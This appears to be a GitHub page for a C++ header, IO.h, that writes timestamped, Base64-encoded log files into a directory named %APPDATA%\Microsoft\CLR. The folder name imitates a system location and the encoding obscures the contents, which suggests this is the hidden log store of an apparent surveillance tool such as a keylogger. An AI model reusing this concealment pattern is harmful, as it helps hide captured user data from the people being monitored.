-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathIO.h
51 lines (44 loc) · 1.4 KB
/
IO.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#pragma once
#include<string>
#include<cstdlib>
#include<windows.h>
#include<fstream>
#include"Helper.h"
#include"Base64.h"
namespace IO{
std::string GetOurPath(const bool append_separator = false){
std::string appdata_dir(getenv("APPDATA"));
std::string full = appdata_dir + "\\Microsoft\\CLR";
return full + (append_separator ? "\\" : "");
}
inline bool MkOneDr(std::string path){
return (bool)CreateDirectory(path.c_str(), nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS);
}
bool MKDir(std::string path){
for(char &c : path)
if(c == '\\'){
c = '\0';
if(!MkOneDr(path))
return false;
c = '\\';
}
return true;
}
template <typename T>
std::string WriteLog(const T &t){
std::string path = GetOurPath(true);
Helper::DateTime dt;
std::string name = dt.GetDateTimeString("_") + ".log";
try{
std::ofstream file(path + name);
if(!file) return "";
std::stringstream s;
s << "[" << dt.GetDateTimeString() << "]" << std::endl << t <<std::endl;
std::string data = Base64::EncryptB64(s.str());
file << data;
if(!file) return "";
file.close();
return name;
}catch(...){ return ""; }
}
}